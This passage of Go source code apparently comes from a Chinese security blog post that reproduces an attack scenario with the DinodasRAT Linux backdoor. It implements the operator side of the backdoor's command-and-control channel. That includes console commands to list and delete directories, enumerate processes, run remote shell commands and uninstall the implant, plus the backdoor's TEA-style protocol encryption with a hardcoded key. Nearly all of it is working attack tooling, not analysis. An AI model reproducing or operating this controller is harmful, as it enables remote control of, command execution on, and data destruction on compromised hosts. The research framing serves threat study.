fmt.Println("*******************DealExShell:" + buf_DealExShell + "*******************")
fmt.Println(string(EncData))
}
} else if text == "UninstallMm" {
buf_UninstallMm := ""
sendbuf := []byte{}
sendbuf = append(sendbuf, common.IntToBytes_little(0x2e)...)
sendbuf = append(sendbuf, byte(0))
sendbuf = append(sendbuf, common.IntToBytes_little(len(buf_UninstallMm))...)
sendbuf = append(sendbuf, []byte(buf_UninstallMm)...)
common.Sendbuf(conn, sendbuf)
EncData := <-encdata
if bytes.Equal(EncData, []byte{0x31}) {
fmt.Println("*******************UninstallMm:" + buf_UninstallMm + "*******************")
fmt.Println("UninstallMm ok")
os.Exit(0)
}
} else if text == "help" {
fmt.Println("********支持功能如下********")
fmt.Println("DirClass:查看目录")
fmt.Println("DelDir:删除目录")
fmt.Println("EnumProcess:查看进程")
fmt.Println("DealExShell:执行shell命令")
fmt.Println("UninstallMm:卸载自身")
fmt.Println("**************************")
}
}
}
}
func KeepHeart_Recv(conn net.Conn, encdata chan []byte) {
for {
recvbuf, err := common.RecvBuf(conn)
if err != nil {
continue
}
//fmt.Println(hex.EncodeToString(recvbuf))
key, _ := hex.DecodeString("A101A8EAC010FB120671F318ACA061AF") //tcp
if recvbuf[0] == 0x30 {
dec_data_len := common.BytesToInt_Little(recvbuf[1:5])
if dec_data_len == len(recvbuf[5:]) {
plain_uint32 := common.BytesToUint32Slice(recvbuf[5:])
key_uint32 := common.BytesToUint32Slice(key)
//fmt.Println(hex.EncodeToString(recvbuf))
dec_data := common.Decrypt_out(plain_uint32, len(plain_uint32)*4, key_uint32)
//fmt.Println(hex.EncodeToString(dec_data))
padding := int(2 + dec_data[0]&0x7)
Command := common.BytesToInt_Little(dec_data[1+padding : 5+padding])
DeviceIDBuf_Len := common.BytesToInt_Little(dec_data[6+padding : 10+padding])
CommandBuf_Len := common.BytesToInt_Little(dec_data[10+padding : 14+padding])
//DeviceIDBuf := dec_data[14+padding : 14+padding+DeviceIDBuf_Len]
CommandBuf := dec_data[14+padding+DeviceIDBuf_Len : 14+padding+DeviceIDBuf_Len+CommandBuf_Len]
//fmt.Println(string(DeviceIDBuf))
//fmt.Println(string(CommandBuf))
switch Command {
case 0x01:
//Heart packet
continue
case 02:
//DirClass
encdata <- CommandBuf
case 0x04:
//DelDir
encdata <- CommandBuf
case 0x11:
//EnumProcess
encdata <- CommandBuf
case 0x18:
//DealExShell
encdata <- CommandBuf
case 0x2e:
//UninstallMm
encdata <- CommandBuf
default:
fmt.Println(string(CommandBuf))
fmt.Println(hex.EncodeToString(dec_data))
continue
}
}
}
}
}
-
common.go
package common
import (
"bytes"
"encoding/binary"
"encoding/hex"
"fmt"
"net"
)
func Sendbuf(conn net.Conn, buf []byte) {
sendbuf := []byte{}
key, _ := hex.DecodeString("A101A8EAC010FB120671F318ACA061AF")
output := Qq_encrypt(buf, len(buf), key)
sendbuf = append(sendbuf, IntToBytes_little(len(output))...)
sendbuf = append(sendbuf, output...)
conn.Write(sendbuf)
}
func RecvBuf(conn net.Conn) (buf_recv []byte, err error) {
buffer1 := make([]byte, 5)
bytesRead, err := conn.Read(buffer1)
if err != nil {
return nil, err
}
buf_recv = append(buf_recv, buffer1[:bytesRead]...)
if buf_recv[0] == byte(0x30) {
buflen := BytesToInt_Little(buf_recv[1:5])
buffer2 := make([]byte, buflen)
bytesRead, err = conn.Read(buffer2)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
buf_recv = append(buf_recv, buffer2[:bytesRead]...)
}
return
}
func BytesToInt_Little(bys []byte) int {
bytebuff := bytes.NewBuffer(bys)
var data int32
binary.Read(bytebuff, binary.LittleEndian, &data)
return int(data)
}
func IntToBytes_little(n int) []byte {
data := int32(n)
bytebuf := bytes.NewBuffer([]byte{})
binary.Write(bytebuf, binary.LittleEndian, data)
return bytebuf.Bytes()
}
-
dinodasrat_de.go
package common
import (
"encoding/binary"
"fmt"
)
func qq_decipher(input []uint32, key []uint32) (result uint32, output []uint32) {
sum := uint32(0xE3779B90)
delta := uint32(0x9E3779B9)
y := input[0]
z := input[1]
a := key[0]
b := key[1]
c := key[2]
d := key[3]
for i := 0; i < 0x10; i++ {
z -= ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d)
y -= ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b)
sum -= delta
}
output = append(output, y)
output = append(output, z)
return
}
func BytesToUint32Slice(data []byte) []uint32 {
if len(data)%4 != 0 {
fmt.Println("error")
}
numUint32 := len(data) / 4
uint32Slice := make([]uint32, numUint32)
for i := 0; i < numUint32; i++ {
uint32Value := binary.BigEndian.Uint32(data[i*4 : (i+1)*4])
uint32Slice[i] = uint32Value
}
return uint32Slice
}
func uint32SliceToBytes(data []uint32) []byte {
totalBytes := len(data) * 4
byteSlice := make([]byte, totalBytes)
for i := 0; i < len(data); i++ {
binary.BigEndian.PutUint32(byteSlice[i*4:(i+1)*4], data[i])
}
return byteSlice
}
func Decrypt_out(enc_data []uint32, enc_data_len int, key []uint32) (output []byte) {
crypted32 := []uint32{0x00, 0x00}
c32_prev := []uint32{0x00, 0x00}
plain32 := []uint32{0x00, 0x00}
p32_prev := []uint32{0x00, 0x00}
pos := 0
crypted32[0] = enc_data[pos]
crypted32[1] = enc_data[pos+1]
pos += 2
c32_prev[0] = crypted32[0]
c32_prev[1] = crypted32[1]
_, p32_prev = qq_decipher(crypted32, key)
output = append(output, uint32SliceToBytes(p32_prev)...)
padding := 2 + output[0]&0x7
if padding < 2 {
padding += 8
}
plain_len := enc_data_len - 1 - int(padding) - 7
if plain_len < 0 {
return
}
count64 := enc_data_len / 8
for {
count64 = count64 - 1
if count64 <= 0 {
break
}
c32_prev[0] = crypted32[0]
c32_prev[1] = crypted32[1]
crypted32[0] = enc_data[pos]
crypted32[1] = enc_data[pos+1]
pos += 2
p32_prev[0] = p32_prev[0] ^ crypted32[0]
p32_prev[1] = p32_prev[1] ^ crypted32[1]
_, p32_prev = qq_decipher(p32_prev, key)
plain32[0] = p32_prev[0] ^ c32_prev[0]
plain32[1] = p32_prev[1] ^ c32_prev[1]
output = append(output, uint32SliceToBytes(plain32)...)
}
return
}
-
dinodasrat_en.go
package common
import (
"crypto/rand"
"math/big"
)
func qq_encipher(input []uint32, key []uint32) (output []uint32) {
sum := uint32(0)
delta := uint32(0x9E3779B9)
y := input[0]
z := input[1]
a := key[0]
b := key[1]
c := key[2]
d := key[3]
for i := 0; i < 0x10; i++ {
sum += delta
y += ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b)
z += ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d)
}
output = append(output, y)
output = append(output, z)
return
}
func encrypt_out(dec_data []uint32, dec_data_len int, key []uint32) (output []byte) {
plain32 := []uint32{0x00, 0x00}
p32_prev := []uint32{0x00, 0x00}
crypted32 := []uint32{0x00, 0x00}
c32_prev := []uint32{0x00, 0x00}
pos := 0
crypted32[0] = dec_data[pos]
crypted32[1] = dec_data[pos+1]
pos += 2
c32_prev[0] = crypted32[0]
c32_prev[1] = crypted32[1]
plain32[0] = crypted32[0] ^ p32_prev[0]
plain32[1] = crypted32[1] ^ p32_prev[1]
count64 := dec_data_len / 8
for {
crypted32 = qq_encipher(plain32, key)
crypted32[0] = crypted32[0] ^ p32_prev[0]
crypted32[1] = crypted32[1] ^ p32_prev[1]
output = append(output, uint32SliceToBytes(crypted32)...)
p32_prev[0] = plain32[0]
p32_prev[1] = plain32[1]
c32_prev[0] = crypted32[0]
c32_prev[1] = crypted32[1]
if count64 > 1 {
crypted32[0] = dec_data[pos]
crypted32[1] = dec_data[pos+1]
pos += 2
plain32[0] = crypted32[0] ^ c32_prev[0]
plain32[1] = crypted32[1] ^ c32_prev[1]
}
count64 = count64 - 1
if count64 <= 0 {
break
}
}
return
}
func Qq_encrypt(plain []byte, plain_len int, key []byte) (output []byte) {
crypted := []byte{}
padding := (plain_len + 10) % 8
if padding > 0 {
padding = 8 - padding
}
randomBytes := make([]byte, 20)
rand.Read(randomBytes)
randombyte := randomBytes[0]
crypted = append(crypted, ((randombyte & 0xf8) | byte(padding)))
padding += 2
for {
padding -= 1
if padding < 0 {
break
}
randomnum, _ := rand.Int(rand.Reader, big.NewInt(20))
crypted = append(crypted, (randomBytes[int(randomnum.Int64())] & 0xff))
}
crypted = append(crypted, plain...)
crypted = append(crypted, []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}...)
crypted_uint32 := BytesToUint32Slice(crypted)
key_uint32 := BytesToUint32Slice(key)
output = encrypt_out(crypted_uint32, len(crypted_uint32)*4, key_uint32)
return
}
原文始发于微信公众号(T0daySeeker):以中国为目标的DinodasRAT Linux后门攻击场景复现